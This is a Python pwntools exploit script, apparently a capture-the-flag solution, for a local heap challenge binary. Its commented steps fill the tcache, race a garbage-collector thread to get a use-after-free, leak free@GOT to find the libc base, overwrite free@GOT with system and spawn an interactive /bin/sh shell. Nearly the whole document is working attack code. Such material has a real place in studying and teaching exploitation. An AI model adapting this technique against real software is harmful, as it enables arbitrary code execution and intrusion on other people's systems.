#!/usr/bin/env python

from pwn import *
import time

def add_user(user_name, group_name, age):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('Please enter the user\'s name: ')
    p.send(user_name)
    p.recvuntil('Please enter the user\'s group: ')
    p.send(group_name)
    p.recvuntil('Please enter your age: ')
    p.sendline(str(age))
    p.recvuntil('User created\n')

def display_group(group_name):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('Enter group name: ')
    p.send(group_name)

def display_user(index):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('Enter index: ')
    p.sendline(str(index))

def edit_group(index, propagate_change, group_name):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('Enter index: ')
    p.sendline(str(index))
    p.recvuntil('Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): ')
    p.sendline(propagate_change)
    p.recvuntil('Enter new group name: ')
    p.send(group_name)

def delete_user(index):
    p.recvuntil('Action: ')
    p.sendline('4')
    p.recvuntil('Enter index: ')
    p.sendline(str(index))

if __name__ == '__main__':
    p = process('./program', env = {'LD_PRELOAD': './libc-2.26.so'})

    # since the program is using libc-2.26.so, tcache is enabled
    # so tcache bins have priority over main arena for allocating/freeing chunks
    # therefore, we need to allocate enough chunks and free them, in order to
    # fill up tcache bins. It only can contain 7 freed chunks, and we force
    # program to use the chunk size of 32 through the program
    for i in range(4):
        add_user('a' * 23 + '\n', str(i) + 'b' * 23, 10)

    for i in range(4):
        delete_user(i)

    # we should wait for GC to finish
    time.sleep(2)

    # now the tcache bins are filled up and any de-allocation
    # results in putting the freed chunk in main arena

    add_user('c' * 23 + '\n', 'd' * 24, 10) # 3 fastbins are allocated: user_0, group_0, group_name_0
    add_user('e' * 23 + '\n', 'f' * 24, 20) # 3 fastbins are allocated: user_1, group_1, group_name_1

    # rename user_0's group name to user_1's group name
    # basically, both user_0 and user_1 are having the same group name
    edit_group(0, 'y', 'f' * 24)

    # group_1's count field is equal to 1, so deleting user_0 causes group_1's count becomes 0
    # it's because the GC thread goes over all the groups and delete any group with the provided name
    delete_user(0)

    # we should wait for the GC thread to de-allocate the group_1 and group_name_1
    # as a result, user_1 has a dangling pointer to group_name_1
    time.sleep(2)

    # currently, we have a few freed chunks in main thread's tcache bins
    # so we need to create two users, so we can empty the tcache bins, and
    # force main thread to use the main arena for future allocations
    add_user('g' * 23 + '\n', 'h' * 24, 10)

    # this allocation cause group_name_1 chunk to be used for user_2 chunk
    add_user('i' * 23 + '\n', 'h' * 24, 10) # user_2

    # using use-after-free vulnerability, we can write into the group_name_1's freed chunk
    # basically, we set user_name and group_name pointers of user_2 to free@GOT
    free_got = 0x602018
    edit_group(1, 'y', '/bin/sh\x00' + p64(free_got) + p64(free_got))

    # displaying the user_2 results in leaking free@GOT, and we can find the libc base address
    display_user(2)

    p.recvuntil('Name: ')
    free_addr = p.recvuntil('\n\tGroup: ').replace('\n\tGroup: ', '')
    libc_base = u64(free_addr + '\x00' * (8 - len(free_addr))) - 0x8f390
    print 'libc base: {}'.format(hex(libc_base))

    # we can find the system's address
    system_addr = libc_base + 0x47dc0
    print 'system: {}'.format(hex(system_addr))

    # editing user_2's group name results in overwriting free@GOT with system's address
    # since we already replace group name's pointer with free@GOT's address
    edit_group(2, 'y', p64(system_addr) + '\n')

    # this delete causes the system being called. Since the user_2's pointer is being passed
    # to the system, we put "/bin/sh\x00" in user_2's age.
    delete_user(2)

    p.interactive()

